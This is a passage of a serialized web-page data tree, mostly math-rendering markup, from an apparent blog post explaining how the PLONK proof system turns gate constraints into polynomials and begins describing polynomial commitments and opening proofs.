",{"type":24,"tag":135,"props":149455,"children":149457},{"className":149456},[11705,11706],[149458],{"type":24,"tag":271,"props":149459,"children":149461},{"className":149460},[11711],[149462],{"type":24,"tag":271,"props":149463,"children":149465},{"className":149464,"ariaHidden":5670},[11716],[149466,149544],{"type":24,"tag":271,"props":149467,"children":149469},{"className":149468},[11721],[149470,149474,149531,149535,149540],{"type":24,"tag":271,"props":149471,"children":149473},{"className":149472,"style":116727},[11726],[],{"type":24,"tag":271,"props":149475,"children":149477},{"className":149476},[11732],[149478,149483],{"type":24,"tag":271,"props":149479,"children":149481},{"className":149480,"style":100323},[11732,29273],[149482],{"type":29,"value":100326},{"type":24,"tag":271,"props":149484,"children":149486},{"className":149485},[11747],[149487],{"type":24,"tag":271,"props":149488,"children":149490},{"className":149489},[11752,29327],[149491,149520],{"type":24,"tag":271,"props":149492,"children":149494},{"className":149493},[11757],[149495,149515],{"type":24,"tag":271,"props":149496,"children":149498},{"className":149497,"style":149392},[11762],[149499],{"type":24,"tag":271,"props":149500,"children":149501},{"style":100370},[149502,149506],{"type":24,"tag":271,"props":149503,"children":149505},{"className":149504,"style":11772},[11771],[],{"type":24,"tag":271,"props":149507,"children":149509},{"className":149508},[11777,11778,11779,11780],[149510],{"type":24,"tag":271,"props":149511,"children":149513},{"className":149512},[11732,29273,11780],[149514],{"type":29,"value":124801},{"type":24,"tag":271,"props":149516,"children":149518},{"className":149517},[29430],[149519],{"type":29,"value":29433},{"type":24,"tag":271,"props":149521,"children":149523},{"className":149522},[11757],[149524],{"type":24,"tag":271,"props":149525,"children":149527},{"className":149526,"style":99920},[11762],[149528],{"type":24,"tag":271,"props":149529,"children":149530},{},[],{"type":24,"tag":271,"props":149532,"children":149534},{"className":149533,"style":11908},[11810],[],{"type":24,"tag":271,"props":149536,"children":149538},{"className":149537},[11913],[149539],{"type":29,"value":762},{"type":24,"tag":271,"props":149541,"children":149543},{"className":149542,"style":11908},[11810],[],{"type":24,"tag":271,"props":149545,"children":149547},{"className":149546},[11721],[149548,149552],{"type":24,"tag":271,"props":149549,"children":149551},{"className":149550,"style":100868},[11726],[],{"type":24,"tag":271,"props":149553,"children":149555},{"className":149554},[11732],[149556],{"type":29,"value":156},{"type":29,"value":149558}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":10648,"props":149560,"children":149561},{},[149562],{"type":29,"value":149563},"permutation argument",{"type":29,"value":149565}," for that, which we will not cover here.",{"type":24,"tag":85,"props":149567,"children":149569},{"id":149568},"from-many-checks-to-one",[149570],{"type":29,"value":149571},"From many checks to one",{"type":24,"tag":25,"props":149573,"children":149574},{},[149575,149577,149582,149583,149675,149676,149768,149769,149861,149863,149868,149869,149961,149962,150054,150056,150081,150083,150108,150110,150202,150204,150229,150231,150256],{"type":29,"value":149576},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":10648,"props":149578,"children":149579},{},[149580],{"type":29,"value":149581},"witness polynomials",{"type":29,"value":3360},{"type":24,"tag":135,"props":149584,"children":149586},{"className":149585},[11705,11706],[149587],{"type":24,"tag":271,"props":149588,"children":149590},{"className":149589},[11711],[149591],{"type":24,"tag":271,"props":149592,"children":149594},{"className":149593,"ariaHidden":5670},[11716],[149595],{"type":24,"tag":271,"props":149596,"children":149598},{"className":149597},[11721],[149599,149603,149660,149665,149670],{"type":24,"tag":271,"props":149600,"children":149602},{"className":149601,"style":11831},[11726],[],{"type":24,"tag":271,"props":149604,"children":149606},{"className":149605},[11732],[149607,149612],{"type":24,"tag":271,"props":149608,"children":149610},{"className":149609,"style":102191},[11732,29273],[149611],{"type":29,"value":791},{"type":24,"tag":271,"props":149613,"children":149615},{"className":149614},[11747],[149616],{"type":24,"tag":271,"props":149617,"children":149619},{"className":149618},[11752,29327],[149620,149649],{"type":24,"tag":271,"props":149621,"children":149623},{"className":149622},[11757],[149624,149644],{"type":24,"tag":271,"props":149625,"children":149627},{"className":149626,"style":149392},[11762],[149628],{"type":24,"tag":271,"props":149629,"children":149630},{"style":102212},[149631,149635],{"type":24,"tag":271,"props":149632,"children":149634},{"className":149633,"style":11772},[11771],[],{"type":24,"tag":271,"props":149636,"children":149638},{"className":149637},[11777,11778,11779,11780],[149639],{"type":24,"tag":271,"props":149640,"children":149642},{"className":149641},[11732,29273,11780],[149643],{"type":29,"value":124801},{"type":24,"tag":271,"props":149645,"children":149647},{"className":149646},[29430],[149648],{"type":29,"value":29433},{"type":24,"tag":271,"props":149650,"children":149652},{"className":149651},[11757],[149653],{"type":24,"tag":271,"props":149654,"children":149656},{"className":149655,"style":99920},[11762],[149657],{"type":24,"tag":271,"props":149658,"children":149659},{},[],{"type":24,"tag":271,"props":149661,"children":149663},{"className":149662},[29402],[149664],{"type":29,"value":606},{"type":24,"tag":271,"props":149666,"children":149668},{"className":149667},[11732,29273],[149669],{"type":29,"value":6034},{"type":24,"tag":271,"props":149671,"children":149673},{"className":149672},[29424],[149674],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":149677,"children":149679},{"className":149678},[11705,11706],[149680],{"type":24,"tag":271,"props":149681,"children":149683},{"className":149682},[11711],[149684],{"type":24,"tag":271,"props":149685,"children":149687},{"className":149686,"ariaHidden":5670},[11716],[149688],{"type":24,"tag":271,"props":149689,"children":149691},{"className":149690},[11721],[149692,149696,149753,149758,149763],{"type":24,"tag":271,"props":149693,"children":149695},{"className":149694,"style":11831},[11726],[],{"type":24,"tag":271,"props":149697,"children":149699},{"className":149698},[11732],[149700,149705],{"type":24,"tag":271,"props":149701,"children":149703},{"className":149702,"style":102191},[11732,29273],[149704],{"type":29,"value":791},{"type":24,"tag":271,"props":149706,"children":149708},{"className":149707},[11747],[149709],{"type":24,"tag":271,"props":149710,"children":149712},{"className":149711},[11752,29327],[149713,149742],{"type":24,"tag":271,"props":149714,"children":149716},{"className":149715},[11757],[149717,149737],{"type":24,"tag":271,"props":149718,"children":149720},{"className":149719,"style":149392},[11762],[149721],{"type":24,"tag":271,"props":149722,"children":149723},{"style":102212},[149724,149728],{"type":24,"tag":271,"props":149725,"children":149727},{"className":149726,"style":11772},[11771],[],{"type":24,"tag":271,"props":149729,"children":149731},{"className":149730},[11777,11778,11779,11780],[149732],{"type":24,"tag":271,"props":149733,"children":149735},{"className":149734,"style":129614},[11732,29273,11780],[149736],{"type":29,"value":129617},{"type":24,"tag":271,"props":149738,"children":149740},{"className":149739},[29430],[149741],{"type":29,"value":29433},{"type":24,"tag":271,"props":149743,"children":149745},{"className":149744},[11757],[149746],{"type":24,"tag":271,"props":149747,"children":149749},{"className":149748,"style":99920},[11762],[149750],{"type":24,"tag":271,"props":149751,"children":149752},{},[],{"type":24,"tag":271,"props":149754,"children":149756},{"className":149755},[29402],[149757],{"type":29,"value":606},{"type":24,"tag":271,"props":149759,"children":149761},{"className":149760},[11732,29273],[149762],{"type":29,"value":6034},{"type":24,"tag":271,"props":149764,"children":149766},{"className":149765},[29424],[149767],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":149770,"children":149772},{"className":149771},[11705,11706],[149773],{"type":24,"tag":271,"props":149774,"children":149776},{"className":149775},[11711],[149777],{"type":24,"tag":271,"props":149778,"children":149780},{"className":149779,"ariaHidden":5670},[11716],[149781],{"type":24,"tag":271,"props":149782,"children":149784},{"className":149783},[11721],[149785,149789,149846,149851,149856],{"type":24,"tag":271,"props":149786,"children":149788},{"className":149787,"style":11831},[11726],[],{"type":24,"tag":271,"props":149790,"children":149792},{"className":149791},[11732],[149793,149798],{"type":24,"tag":271,"props":149794,"children":149796},{"className":149795,"style":102191},[11732,29273],[149797],{"type":29,"value":791},{"type":24,"tag":271,"props":149799,"children":149801},{"className":149800},[11747],[149802],{"type":24,"tag":271,"props":149803,"children":149805},{"className":149804},[11752,29327],[149806,149835],{"type":24,"tag":271,"props":149807,"children":149809},{"className":149808},[11757],[149810,149830],{"type":24,"tag":271,"props":149811,"children":149813},{"className":149812,"style":149392},[11762],[149814],{"type":24,"tag":271,"props":149815,"children":149816},{"style":102212},[149817,149821],{"type":24,"tag":271,"props":149818,"children":149820},{"className":149819,"style":11772},[11771],[],{"type":24,"tag":271,"props":149822,"children":149824},{"className":149823},[11777,11778,11779,11780],[149825],{"type":24,"tag":271,"props":149826,"children":149828},{"className":149827,"style":99837},[11732,29273,11780],[149829],{"type":29,"value":122156},{"type":24,"tag":271,"props":149831,"children":149833},{"className":149832},[29430],[149834],{"type":29,"value":29433},{"type":24,"tag":271,"props":149836,"children":149838},{"className":149837},[11757],[149839],{"type":24,"tag":271,"props":149840,"children":149842},{"className":149841,"style":99920},[11762],[149843],{"type":24,"tag":271,"props":149844,"children":149845},{},[],{"type":24,"tag":271,"props":149847,"children":149849},{"className":149848},[29402],[149850],{"type":29,"value":606},{"type":24,"tag":271,"props":149852,"children":149854},{"className":149853},[11732,29273],[149855],{"type":29,"value":6034},{"type":24,"tag":271,"props":149857,"children":149859},{"className":149858},[29424],[149860],{"type":29,"value":2693},{"type":29,"value":149862}," and the selectors become ",{"type":24,"tag":10648,"props":149864,"children":149865},{},[149866],{"type":29,"value":149867},"selector polynomials",{"type":29,"value":3360},{"type":24,"tag":135,"props":149870,"children":149872},{"className":149871},[11705,11706],[149873],{"type":24,"tag":271,"props":149874,"children":149876},{"className":149875},[11711],[149877],{"type":24,"tag":271,"props":149878,"children":149880},{"className":149879,"ariaHidden":5670},[11716],[149881],{"type":24,"tag":271,"props":149882,"children":149884},{"className":149883},[11721],[149885,149889,149946,149951,149956],{"type":24,"tag":271,"props":149886,"children":149888},{"className":149887,"style":11831},[11726],[],{"type":24,"tag":271,"props":149890,"children":149892},{"className":149891},[11732],[149893,149898],{"type":24,"tag":271,"props":149894,"children":149896},{"className":149895},[11732,29273],[149897],{"type":29,"value":83592},{"type":24,"tag":271,"props":149899,"children":149901},{"className":149900},[11747],[149902],{"type":24,"tag":271,"props":149903,"children":149905},{"className":149904},[11752,29327],[149906,149935],{"type":24,"tag":271,"props":149907,"children":149909},{"className":149908},[11757],[149910,149930],{"type":24,"tag":271,"props":149911,"children":149913},{"className":149912,"style":149392},[11762],[149914],{"type":24,"tag":271,"props":149915,"children":149916},{"style":99893},[149917,149921],{"type":24,"tag":271,"props":149918,"children":149920},{"className":149919,"style":11772},[11771],[],{"type":24,"tag":271,"props":149922,"children":149924},{"className":149923},[11777,11778,11779,11780],[149925],{"type":24,"tag":271,"props":149926,"children":149928},{"className":149927,"style":101845},[11732,29273,11780],[149929],{"type":29,"value":101848},{"type":24,"tag":271,"props":149931,"children":149933},{"className":149932},[29430],[149934],{"type":29,"value":29433},{"type":24,"tag":271,"props":149936,"children":149938},{"className":149937},[11757],[149939],{"type":24,"tag":271,"props":149940,"children":149942},{"className":149941,"style":99920},[11762],[149943],{"type":24,"tag":271,"props":149944,"children":149945},{},[],{"type":24,"tag":271,"props":149947,"children":149949},{"className":149948},[29402],[149950],{"type":29,"value":606},{"type":24,"tag":271,"props":149952,"children":149954},{"className":149953},[11732,29273],[149955],{"type":29,"value":6034},{"type":24,"tag":271,"props":149957,"children":149959},{"className":149958},[29424],[149960],{"type":29,"value":2693},{"type":29,"value":158},{"type":24,"tag":135,"props":149963,"children":149965},{"className":149964},[11705,11706],[149966],{"type":24,"tag":271,"props":149967,"children":149969},{"className":149968},[11711],[149970],{"type":24,"tag":271,"props":149971,"children":149973},{"className":149972,"ariaHidden":5670},[11716],[149974],{"type":24,"tag":271,"props":149975,"children":149977},{"className":149976},[11721],[149978,149982,150039,150044,150049],{"type":24,"tag":271,"props":149979,"children":149981},{"className":149980,"style":11831},[11726],[],{"type":24,"tag":271,"props":149983,"children":149985},{"className":149984},[11732],[149986,149991],{"type":24,"tag":271,"props":149987,"children":149989},{"className":149988},[11732,29273],[149990],{"type":29,"value":83592},{"type":24,"tag":271,"props":149992,"children":149994},{"className":149993},[11747],[149995],{"type":24,"tag":271,"props":149996,"children":149998},{"className":149997},[11752,29327],[149999,150028],{"type":24,"tag":271,"props":150000,"children":150002},{"className":150001},[11757],[150003,150023],{"type":24,"tag":271,"props":150004,"children":150006},{"className":150005,"style":149392},[11762],[150007],{"type":24,"tag":271,"props":150008,"children":150009},{"style":99893},[150010,150014],{"type":24,"tag":271,"props":150011,"children":150013},{"className":150012,"style":11772},[11771],[],{"type":24,"tag":271,"props":150015,"children":150017},{"className":150016},[11777,11778,11779,11780],[150018],{"type":24,"tag":271,"props":150019,"children":150021},{"className":150020},[11732,29273,11780],[150022],{"type":29,"value":124801},{"type":24,"tag":271,"props":150024,"children":150026},{"className":150025},[29430],[150027],{"type":29,"value":29433},{"type":24,"tag":271,"props":150029,"children":150031},{"className":150030},[11757],[150032],{"type":24,"tag":271,"props":150033,"children":150035},{"className":150034,"style":99920},[11762],[150036],{"type":24,"tag":271,"props":150037,"children":150038},{},[],{"type":24,"tag":271,"props":150040,"children":150042},{"className":150041},[29402],[150043],{"type":29,"value":606},{"type":24,"tag":271,"props":150045,"children":150047},{"className":150046},[11732,29273],[150048],{"type":29,"value":6034},{"type":24,"tag":271,"props":150050,"children":150052},{"className":150051},[29424],[150053],{"type":29,"value":2693},{"type":29,"value":150055},", etc., all interpolated over a domain ",{"type":24,"tag":135,"props":150057,"children":150059},{"className":150058},[11705,11706],[150060],{"type":24,"tag":271,"props":150061,"children":150063},{"className":150062},[11711],[150064],{"type":24,"tag":271,"props":150065,"children":150067},{"className":150066,"ariaHidden":5670},[11716],[150068],{"type":24,"tag":271,"props":150069,"children":150071},{"className":150070},[11721],[150072,150076],{"type":24,"tag":271,"props":150073,"children":150075},{"className":150074,"style":29268},[11726],[],{"type":24,"tag":271,"props":150077,"children":150079},{"className":150078,"style":100071},[11732,29273],[150080],{"type":29,"value":100074},{"type":29,"value":150082}," of ",{"type":24,"tag":135,"props":150084,"children":150086},{"className":150085},[11705,11706],[150087],{"type":24,"tag":271,"props":150088,"children":150090},{"className":150089},[11711],[150091],{"type":24,"tag":271,"props":150092,"children":150094},{"className":150093,"ariaHidden":5670},[11716],[150095],{"type":24,"tag":271,"props":150096,"children":150098},{"className":150097},[11721],[150099,150103],{"type":24,"tag":271,"props":150100,"children":150102},{"className":150101,"style":117678},[11726],[],{"type":24,"tag":271,"props":150104,"children":150106},{"className":150105},[11732,29273],[150107],{"type":29,"value":6054},{"type":29,"value":150109},"-th roots of unity. Evaluating ",{"type":24,"tag":135,"props":150111,"children":150113},{"className":150112},[11705,11706],[150114],{"type":24,"tag":271,"props":150115,"children":150117},{"className":150116},[11711],[150118],{"type":24,"tag":271,"props":150119,"children":150121},{"className":150120,"ariaHidden":5670},[11716],[150122],{"type":24,"tag":271,"props":150123,"children":150125},{"className":150124},[11721],[150126,150130,150187,150192,150197],{"type":24,"tag":271,"props":150127,"children":150129},{"className":150128,"style":11831},[11726],[],{"type":24,"tag":271,"props":150131,"children":150133},{"className":150132},[11732],[150134,150139],{"type":24,"tag":271,"props":150135,"children":150137},{"className":150136,"style":102191},[11732,29273],[150138],{"type":29,"value":791},{"type":24,"tag":271,"props":150140,"children":150142},{"className":150141},[11747],[150143],{"type":24,"tag":271,"props":150144,"children":150146},{"className":150145},[11752,29327],[150147,150176],{"type":24,"tag":271,"props":150148,"children":150150},{"className":150149},[11757],[150151,150171],{"type":24,"tag":271,"props":150152,"children":150154},{"className":150153,"style":149392},[11762],[150155],{"type":24,"tag":271,"props":150156,"children":150157},{"style":102212},[150158,150162],{"type":24,"tag":271,"props":150159,"children":150161},{"className":150160,"style":11772},[11771],[],{"type":24,"tag":271,"props":150163,"children":150165},{"className":150164},[11777,11778,11779,11780],[150166],{"type":24,"tag":271,"props":150167,"children":150169},{"className":150168},[11732,29273,11780],[150170],{"type":29,"value":124801},{"type":24,"tag":271,"props":150172,"children":150174},{"className":150173},[29430],[150175],{"type":29,"value":29433},{"type":24,"tag":271,"props":150177,"children":150179},{"className":150178},[11757],[150180],{"type":24,"tag":271,"props":150181,"children":150183},{"className":150182,"style":99920},[11762],[150184],{"type":24,"tag":271,"props":150185,"children":150186},{},[],{"type":24,"tag":271,"props":150188,"children":150190},{"className":150189},[29402],[150191],{"type":29,"value":606},{"type":24,"tag":271,"props":150193,"children":150195},{"className":150194},[11732,29273],[150196],{"type":29,"value":6034},{"type":24,"tag":271,"props":150198,"children":150200},{"className":150199},[29424],[150201],{"type":29,"value":2693},{"type":29,"value":150203}," at the ",{"type":24,"tag":135,"props":150205,"children":150207},{"className":150206},[11705,11706],[150208],{"type":24,"tag":271,"props":150209,"children":150211},{"className":150210},[11711],[150212],{"type":24,"tag":271,"props":150213,"children":150215},{"className":150214,"ariaHidden":5670},[11716],[150216],{"type":24,"tag":271,"props":150217,"children":150219},{"className":150218},[11721],[150220,150224],{"type":24,"tag":271,"props":150221,"children":150223},{"className":150222,"style":149088},[11726],[],{"type":24,"tag":271,"props":150225,"children":150227},{"className":150226},[11732,29273],[150228],{"type":29,"value":11462},{"type":29,"value":150230},"-th root recovers the left wire value at row ",{"type":24,"tag":135,"props":150232,"children":150234},{"className":150233},[11705,11706],[150235],{"type":24,"tag":271,"props":150236,"children":150238},{"className":150237},[11711],[150239],{"type":24,"tag":271,"props":150240,"children":150242},{"className":150241,"ariaHidden":5670},[11716],[150243],{"type":24,"tag":271,"props":150244,"children":150246},{"className":150245},[11721],[150247,150251],{"type":24,"tag":271,"props":150248,"children":150250},{"className":150249,"style":149088},[11726],[],{"type":24,"tag":271,"props":150252,"children":150254},{"className":150253},[11732,29273],[150255],{"type":29,"value":11462},{"type":29,"value":41},{"type":24,"tag":150258,"props":150259,"children":150260},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":150262,"children":150263},{},[150264,150266,150306,150308,150374,150376,150506,150508,150548,150550,150590,150592,150632,150633,150755],{"type":29,"value":150265},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":135,"props":150267,"children":150269},{"className":150268},[11705,11706],[150270],{"type":24,"tag":271,"props":150271,"children":150273},{"className":150272},[11711],[150274],{"type":24,"tag":271,"props":150275,"children":150277},{"className":150276,"ariaHidden":5670},[11716],[150278],{"type":24,"tag":271,"props":150279,"children":150281},{"className":150280},[11721],[150282,150286,150291,150296,150301],{"type":24,"tag":271,"props":150283,"children":150285},{"className":150284,"style":11831},[11726],[],{"type":24,"tag":271,"props":150287,"children":150289},{"className":150288,"style":29274},[11732,29273],[150290],{"type":29,"value":128615},{"type":24,"tag":271,"props":150292,"children":150294},{"className":150293},[29402],[150295],{"type":29,"value":606},{"type":24,"tag":271,"props":150297,"children":150299},{"className":150298},[11732,29273],[150300],{"type":29,"value":6034},{"type":24,"tag":271,"props":150302,"children":150304},{"className":150303},[29424],[150305],{"type":29,"value":2693},{"type":29,"value":150307}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":135,"props":150309,"children":150311},{"className":150310},[11705,11706],[150312],{"type":24,"tag":271,"props":150313,"children":150315},{"className":150314},[11711],[150316],{"type":24,"tag":271,"props":150317,"children":150319},{"className":150318,"ariaHidden":5670},[11716],[150320,150361],{"type":24,"tag":271,"props":150321,"children":150323},{"className":150322},[11721],[150324,150328,150333,150338,150343,150348,150352,150357],{"type":24,"tag":271,"props":150325,"children":150327},{"className":150326,"style":11831},[11726],[],{"type":24,"tag":271,"props":150329,"children":150331},{"className":150330,"style":29274},[11732,29273],[150332],{"type":29,"value":128615},{"type":24,"tag":271,"props":150334,"children":150336},{"className":150335},[29402],[150337],{"type":29,"value":606},{"type":24,"tag":271,"props":150339,"children":150341},{"className":150340},[11732,29273],[150342],{"type":29,"value":6034},{"type":24,"tag":271,"props":150344,"children":150346},{"className":150345},[29424],[150347],{"type":29,"value":2693},{"type":24,"tag":271,"props":150349,"children":150351},{"className":150350,"style":11908},[11810],[],{"type":24,"tag":271,"props":150353,"children":150355},{"className":150354},[11913],[150356],{"type":29,"value":762},{"type":24,"tag":271,"props":150358,"children":150360},{"className":150359,"style":11908},[11810],[],{"type":24,"tag":271,"props":150362,"children":150364},{"className":150363},[11721],[150365,150369],{"type":24,"tag":271,"props":150366,"children":150368},{"className":150367,"style":100868},[11726],[],{"type":24,"tag":271,"props":150370,"children":150372},{"className":150371},[11732],[150373],{"type":29,"value":4121},{"type":29,"value":150375}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":135,"props":150377,"children":150379},{"className":150378},[11705,11706],[150380],{"type":24,"tag":271,"props":150381,"children":150383},{"className":150382},[11711],[150384],{"type":24,"tag":271,"props":150385,"children":150387},{"className":150386,"ariaHidden":5670},[11716],[150388,150430,150493],{"type":24,"tag":271,"props":150389,"children":150391},{"className":150390},[11721],[150392,150396,150402,150407,150412,150417,150421,150426],{"type":24,"tag":271,"props":150393,"children":150395},{"className":150394,"style":11831},[11726],[],{"type":24,"tag":271,"props":150397,"children":150399},{"className":150398,"style":29805},[11732,29273],[150400],{"type":29,"value":150401},"Z",{"type":24,"tag":271,"props":150403,"children":150405},{"className":150404},[29402],[150406],{"type":29,"value":606},{"type":24,"tag":271,"props":150408,"children":150410},{"className":150409},[11732,29273],[150411],{"type":29,"value":6034},{"type":24,"tag":271,"props":150413,"children":150415},{"className":150414},[29424],[150416],{"type":29,"value":2693},{"type":24,"tag":271,"props":150418,"children":150420},{"className":150419,"style":11908},[11810],[],{"type":24,"tag":271,"props":150422,"children":150424},{"className":150423},[11913],[150425],{"type":29,"value":762},{"type":24,"tag":271,"props":150427,"children":150429},{"className":150428,"style":11908},[11810],[],{"type":24,"tag":271,"props":150431,"children":150433},{"className":150432},[11721],[150434,150439,150480,150484,150489],{"type":24,"tag":271,"props":150435,"children":150438},{"className":150436,"style":150437},[11726],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":271,"props":150440,"children":150442},{"className":150441},[11732],[150443,150448],{"type":24,"tag":271,"props":150444,"children":150446},{"className":150445},[11732,29273],[150447],{"type":29,"value":6034},{"type":24,"tag":271,"props":150449,"children":150451},{"className":150450},[11747],[150452],{"type":24,"tag":271,"props":150453,"children":150455},{"className":150454},[11752],[150456],{"type":24,"tag":271,"props":150457,"children":150459},{"className":150458},[11757],[150460],{"type":24,"tag":271,"props":150461,"children":150463},{"className":150462,"style":115554},[11762],[150464],{"type":24,"tag":271,"props":150465,"children":150466},{"style":11766},[150467,150471],{"type":24,"tag":271,"props":150468,"children":150470},{"className":150469,"style":11772},[11771],[],{"type":24,"tag":271,"props":150472,"children":150474},{"className":150473},[11777,11778,11779,11780],[150475],{"type":24,"tag":271,"props":150476,"children":150478},{"className":150477},[11732,29273,11780],[150479],{"type":29,"value":6054},{"type":24,"tag":271,"props":150481,"children":150483},{"className":150482,"style":11811},[11810],[],{"type":24,"tag":271,"props":150485,"children":150487},{"className":150486},[11816],[150488],{"type":29,"value":11791},{"type":24,"tag":271,"props":150490,"children":150492},{"className":150491,"style":11811},[11810],[],{"type":24,"tag":271,"props":150494,"children":150496},{"className":150495},[11721],[150497,150501],{"type":24,"tag":271,"props":150498,"children":150500},{"className":150499,"style":100868},[11726],[],{"type":24,"tag":271,"props":150502,"children":150504},{"className":150503},[11732],[150505],{"type":29,"value":156},{"type":29,"value":150507}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":135,"props":150509,"children":150511},{"className":150510},[11705,11706],[150512],{"type":24,"tag":271,"props":150513,"children":150515},{"className":150514},[11711],[150516],{"type":24,"tag":271,"props":150517,"children":150519},{"className":150518,"ariaHidden":5670},[11716],[150520],{"type":24,"tag":271,"props":150521,"children":150523},{"className":150522},[11721],[150524,150528,150533,150538,150543],{"type":24,"tag":271,"props":150525,"children":150527},{"className":150526,"style":11831},[11726],[],{"type":24,"tag":271,"props":150529,"children":150531},{"className":150530,"style":29805},[11732,29273],[150532],{"type":29,"value":150401},{"type":24,"tag":271,"props":150534,"children":150536},{"className":150535},[29402],[150537],{"type":29,"value":606},{"type":24,"tag":271,"props":150539,"children":150541},{"className":150540},[11732,29273],[150542],{"type":29,"value":6034},{"type":24,"tag":271,"props":150544,"children":150546},{"className":150545},[29424],[150547],{"type":29,"value":2693},{"type":29,"value":150549}," divides ",{"type":24,"tag":135,"props":150551,"children":150553},{"className":150552},[11705,11706],[150554],{"type":24,"tag":271,"props":150555,"children":150557},{"className":150556},[11711],[150558],{"type":24,"tag":271,"props":150559,"children":150561},{"className":150560,"ariaHidden":5670},[11716],[150562],{"type":24,"tag":271,"props":150563,"children":150565},{"className":150564},[11721],[150566,150570,150575,150580,150585],{"type":24,"tag":271,"props":150567,"children":150569},{"className":150568,"style":11831},[11726],[],{"type":24,"tag":271,"props":150571,"children":150573},{"className":150572,"style":29274},[11732,29273],[150574],{"type":29,"value":128615},{"type":24,"tag":271,"props":150576,"children":150578},{"className":150577},[29402],[150579],{"type":29,"value":606},{"type":24,"tag":271,"props":150581,"children":150583},{"className":150582},[11732,29273],[150584],{"type":29,"value":6034},{"type":24,"tag":271,"props":150586,"children":150588},{"className":150587},[29424],[150589],{"type":29,"value":2693},{"type":29,"value":150591},", yielding a quotient polynomial ",{"type":24,"tag":135,"props":150593,"children":150595},{"className":150594},[11705,11706],[150596],{"type":24,"tag":271,"props":150597,"children":150599},{"className":150598},[11711],[150600],{"type":24,"tag":271,"props":150601,"children":150603},{"className":150602,"ariaHidden":5670},[11716],[150604],{"type":24,"tag":271,"props":150605,"children":150607},{"className":150606},[11721],[150608,150612,150617,150622,150627],{"type":24,"tag":271,"props":150609,"children":150611},{"className":150610,"style":11831},[11726],[],{"type":24,"tag":271,"props":150613,"children":150615},{"className":150614,"style":29274},[11732,29273],[150616],{"type":29,"value":13704},{"type":24,"tag":271,"props":150618,"children":150620},{"className":150619},[29402],[150621],{"type":29,"value":606},{"type":24,"tag":271,"props":150623,"children":150625},{"className":150624},[11732,29273],[150626],{"type":29,"value":6034},{"type":24,"tag":271,"props":150628,"children":150630},{"className":150629},[29424],[150631],{"type":29,"value":2693},{"type":29,"value":7970},{"type":24,"tag":135,"props":150634,"children":150636},{"className":150635},[11705,11706],[150637],{"type":24,"tag":271,"props":150638,"children":150640},{"className":150639},[11711],[150641],{"type":24,"tag":271,"props":150642,"children":150644},{"className":150643,"ariaHidden":5670},[11716],[150645,150686,150727],{"type":24,"tag":271,"props":150646,"children":150648},{"className":150647},[11721],[150649,150653,150658,150663,150668,150673,150677,150682],{"type":24,"tag":271,"props":150650,"children":150652},{"className":150651,"style":11831},[11726],[],{"type":24,"tag":271,"props":150654,"children":150656},{"className":150655,"style":29274},[11732,29273],[150657],{"type":29,"value":128615},{"type":24,"tag":271,"props":150659,"children":150661},{"className":150660},[29402],[150662],{"type":29,"value":606},{"type":24,"tag":271,"props":150664,"children":150666},{"className":150665},[11732,29273],[150667],{"type":29,"value":6034},{"type":24,"tag":271,"props":150669,"children":150671},{"className":150670},[29424],[150672],{"type":29,"value":2693},{"type":24,"tag":271,"props":150674,"children":150676},{"className":150675,"style":11908},[11810],[],{"type":24,"tag":271,"props":150678,"children":150680},{"className":150679},[11913],[150681],{"type":29,"value":762},{"type":24,"tag":271,"props":150683,"children":150685},{"className":150684,"style":11908},[11810],[],{"type":24,"tag":271,"props":150687,"children":150689},{"className":150688},[11721],[150690,150694,150699,150704,150709,150714,150718,150723],{"type":24,"tag":271,"props":150691,"children":150693},{"className":150692,"style":11831},[11726],[],{"type":24,"tag":271,"props":150695,"children":150697},{"className":150696,"style":29274},[11732,29273],[150698],{"type":29,"value":13704},{"type":24,"tag":271,"props":150700,"children":150702},{"className":150701},[29402],[150703],{"type":29,"value":606},{"type":24,"tag":271,"props":150705,"children":150707},{"className":150706},[11732,29273],[150708],{"type":29,"value":6034},{"type":24,"tag":271,"props":150710,"children":150712},{"className":150711},[29424],[150713],{"type":29,"value":2693},{"type":24,"tag":271,"props":150715,"children":150717},{"className":150716,"style":11811},[11810],[],{"type":24,"tag":271,"props":150719,"children":150721},{"className":150720},[11816],[150722],{"type":29,"value":118099},{"type":24,"tag":271,"props":150724,"children":150726},{"className":150725,"style":11811},[11810],[],{"type":24,"tag":271,"props":150728,"children":150730},{"className":150729},[11721],[150731,150735,150740,150745,150750],{"type":24,"tag":271,"props":150732,"children":150734},{"className":150733,"style":11831},[11726],[],{"type":24,"tag":271,"props":150736,"children":150738},{"className":150737,"style":29805},[11732,29273],[150739],{"type":29,"value":150401},{"type":24,"tag":271,"props":150741,"children":150743},{"className":150742},[29402],[150744],{"type":29,"value":606},{"type":24,"tag":271,"props":150746,"children":150748},{"className":150747},[11732,29273],[150749],{"type":29,"value":6034},{"type":24,"tag":271,"props":150751,"children":150753},{"className":150752},[29424],[150754],{"type":29,"value":2693},{"type":29,"value":41},{"type":24,"tag":25,"props":150757,"children":150758},{},[150759],{"type":24,"tag":74,"props":150760,"children":150763},{"alt":150761,"src":150762},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":85,"props":150765,"children":150767},{"id":150766},"polynomial-commitments-and-opening-proofs",[150768],{"type":29,"value":150769},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":150771,"children":150772},{},[150773,150775,150780,150782,150787],{"type":29,"value":150774},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":10648,"props":150776,"children":150777},{},[150778],{"type":29,"value":150779},"commitments",{"type":29,"value":150781},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":10648,"props":150783,"children":150784},{},[150785],{"type":29,"value":150786},"opening 